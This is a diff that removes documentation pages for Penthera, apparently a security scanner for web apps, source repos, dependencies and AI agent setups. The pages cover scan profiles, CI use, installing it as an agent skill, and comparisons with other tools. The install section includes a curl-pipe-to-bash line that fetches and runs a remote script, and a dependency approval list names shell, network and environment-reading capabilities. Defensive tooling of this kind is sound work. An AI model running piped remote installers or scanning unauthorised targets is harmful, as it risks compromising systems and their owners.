- (`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
47
- `typosquat` and `unscanned`. The `requireApproval` list shown is the default.
48
- `allow` takes names or globs, optionally pinned to a version, and overrides
49
- both. The one network use is npm talking to your configured registry, and
50
- Penthera prints which one; Penthera itself sends nothing. Workspaces and
51
- `file:` dependencies are not supported yet.
52
-
53
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,100 +0,0 @@
1
- # Scanning your app: `penthera <url>` and `--repo`
2
-
3
- Black-box scans of a running app (localhost, preview, or staging) and white-box scans of its source. The default scan is non-destructive; payload-based testing is opt-in.
4
-
5
- ## Scan modes and profiles
6
-
7
- | Mode | Command | Coverage |
8
- |------|---------|----------|
9
- | **URL scan** | `penthera https://example.com` | TLS, fingerprinting, endpoint discovery, templates, CORS, cookies, JS CVEs, param discovery, OpenAPI/FastAPI probes, security headers, auth hardening |
10
- | **Repo scan** | `penthera --repo ./my-app` | API route discovery (Next.js, Express, Hono, Fastify), trust-boundary mapping, hardcoded-secret scanning (including Anthropic, OpenAI, Gemini, Groq, Hugging Face and other AI provider keys) |
11
- | **Combined** | `penthera https://staging.app --repo .` | Black-box and white-box in one run |
12
- | **Interactive** | `penthera` *(no args)* | Guided wizard (URL plus optional repo scan, Markdown report) |
13
- | **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
14
- | **Dependencies** | `penthera deps` | What each npm or Python package can do (install scripts, shell, network, env, eval, native, obfuscation, `.pth` startup hooks), capability diff on upgrades, typosquats. Offline ([deps.md](deps.md)) |
15
-
16
- Pick a profile, or add individual flags for more depth:
17
-
18
- | Profile | Command | What runs |
19
- |---------|---------|-----------|
20
- | **quick** | `--profile quick` | Headers, OpenAPI, auth smoke tests (about 10s) |
21
- | **standard** | *(default)* | Full non-destructive scan |
22
- | **deep** | `--profile deep` | recon, injection probes, and API fuzzing |
23
-
24
- Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`, `--templates <dirs>`, `--all`
25
-
26
- ## Quick start
27
-
28
- ```bash
29
- # First time? Run with no args for guided setup
30
- penthera
31
-
32
- # Safe default scan (non-destructive)
33
- penthera https://myapp.com
34
-
35
- # Staging plus source code, full report set
36
- penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif
37
-
38
- # Baseline diff: show only new findings since the last scan
39
- penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json
40
-
41
- # Authenticated scan (session cookie or bearer token)
42
- PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
43
- penthera https://myapp.com --auth-cookie "session=abc123"
44
- ```
45
-
46
- Writing to `-o reports/scan.json` also drops a human-readable `reports/scan.md`
47
- next to it. Reports are gitignored by default.
48
-
49
- ### Exit codes
50
-
51
- | Code | Meaning |
52
- |------|---------|
53
- | `0` | No critical or high findings |
54
- | `1` | Critical or high findings detected |
55
- | `2` | Scan failed (unreachable target, bad config) |
56
-
57
- ---
58
-
59
- ## Output
60
-
61
- | Format | Flag | Use |
62
- |--------|------|-----|
63
- | Terminal | *(default)* | Colored summary plus top 3 fixes |
64
- | **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
65
- | JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
66
- | SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
67
- | Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](../evidence.md#audience-reports)) |
68
- | Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
69
- | **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](../evidence.md)) |
70
-
71
- ## CI integration
72
-
73
- ```yaml
74
- # Scan a staging URL on a schedule and upload results to GitHub Security.
75
- - run: npx penthera@1.7.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
76
- - uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
77
- with:
78
- sarif_file: reports/scan.sarif
79
- ```
80
-
81
- Copy the full workflow from
82
- [`docs/examples/github-actions-scan.yml`](../examples/github-actions-scan.yml)
83
- into your app's repo. Pin the Penthera version so a scheduled run never picks up
84
- code you have not reviewed.
85
-
86
- Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock
87
- vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.
88
-
89
- ## Configuration
90
-
91
- For live integration tests against your own routes:
92
-
93
- ```bash
94
- cp pentest.config.example.js pentest.config.js # gitignored
95
- ```
96
-
97
- Edit the route groups, then run `npm run pentest:live`. Set `PENTEST_BASE_URL` to
98
- point at staging without editing the file.
99
-
100
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,58 +0,0 @@
1
- # Penthera as an Agent Skill
2
-
3
- ## For your AI coding agent
4
-
5
- Penthera ships as an [Agent Skill](https://agentskills.io), the open format used
6
- by Cursor, Claude Code, Claude.ai, and [40+ agent tools](https://agentskills.io/clients).
7
- The skill teaches an agent to run authorized scans, pick the right profile, and
8
- summarize findings, so you can just describe what you want.
9
-
10
- **Install** (any of these):
11
-
12
- ```bash
13
- # Cross-agent, frictionless
14
- npx skills add danoszz/penthera
15
-
16
- # Or the one-line installer (also links the CLI)
17
- curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
18
-
19
- # Or copy into a single project for team sharing
20
- cp -r skills/penthera .cursor/skills/penthera # Cursor
21
- cp -r skills/penthera .claude/skills/penthera # Claude Code
22
- ```
23
-
24
- Or as a Claude Code plugin (installs the skill):
25
-
26
- ```bash
27
- /plugin marketplace add danoszz/penthera
28
- /plugin install penthera@penthera
29
- ```
30
-
31
- For Claude.ai (web), zip and upload the skill:
32
-
33
- ```bash
34
- npm run package:skill # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
35
- ```
36
-
37
- **Prompts that trigger it:**
38
-
39
- - "Scan my localhost app on port 3000 for security issues"
40
- - "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
41
- - "Scan this repo for hardcoded secrets and exposed API routes"
42
- - "Compare today's scan to last week's baseline and show only new findings"
43
- - "Generate a SARIF report for GitHub code scanning"
44
- - "Audit my MCP servers, skills and Claude Code hooks"
45
-
46
- The skill adds an authorization gate: it instructs the agent to refuse targets you
47
- do not own or are not authorized to test, and the wizard asks you to confirm before
48
- scanning a remote host. It is an agent-level and interactive safeguard, not something
49
- the raw CLI enforces. You are responsible for every target you pass it. Run preflight
50
- before the first scan:
51
-
52
- ```bash
53
- bash skills/penthera/scripts/preflight.sh http://localhost:3000
54
- ```
55
-
56
- Skill source and workflows live in [`skills/penthera/SKILL.md`](../../skills/penthera/SKILL.md).
57
-
58
- [Back to the README](../../README.md) · [All commands](README.md)
@@ -1,25 +0,0 @@
1
- # How Penthera compares
2
-
3
- Penthera is a free, offline, MIT-licensed toolkit. Most teams that use it also
4
- use at least one of the tools below, and these pages are written for them: what
5
- each tool is for, where it goes further than Penthera, and how to run the two
6
- together.
7
-
8
- | Page | In one line |
9
- |---|---|
10
- | [Penthera and Socket](socket.md) | Socket watches the package registries; Penthera checks your app and your AI tooling on your machine |
11
- | [Penthera and Snyk](snyk.md) | Snyk brings curated vulnerability data across many languages; Penthera looks at behaviour, the running app and agent config |
12
- | [Penthera and GitHub (Dependabot, code scanning)](github.md) | GitHub alerts on known CVEs and runs CodeQL; Penthera's SARIF lands in the same tab |
13
- | [Penthera and OWASP ZAP](zap.md) | ZAP is the deeper dynamic scanner; Penthera is a quicker first pass with source context |
14
- | [Penthera and Semgrep](semgrep.md) | Semgrep is the deeper static analyser for your code; Penthera adds dependencies, the live app and AI tooling |
15
-
16
- ## How these pages are written
17
-
18
- - Every claim about another product comes from that product's public docs or
19
- pricing page, linked inline. Anything we could not confirm is left out.
20
- - Each page names where the other tool goes further. Most of them go further
21
- than Penthera somewhere.
22
- - Prices and plans change. Each page has a last-checked date; check the vendor's
23
- page before you rely on a number.
24
-
25
- Spotted something wrong or out of date? Please open an issue or a pull request.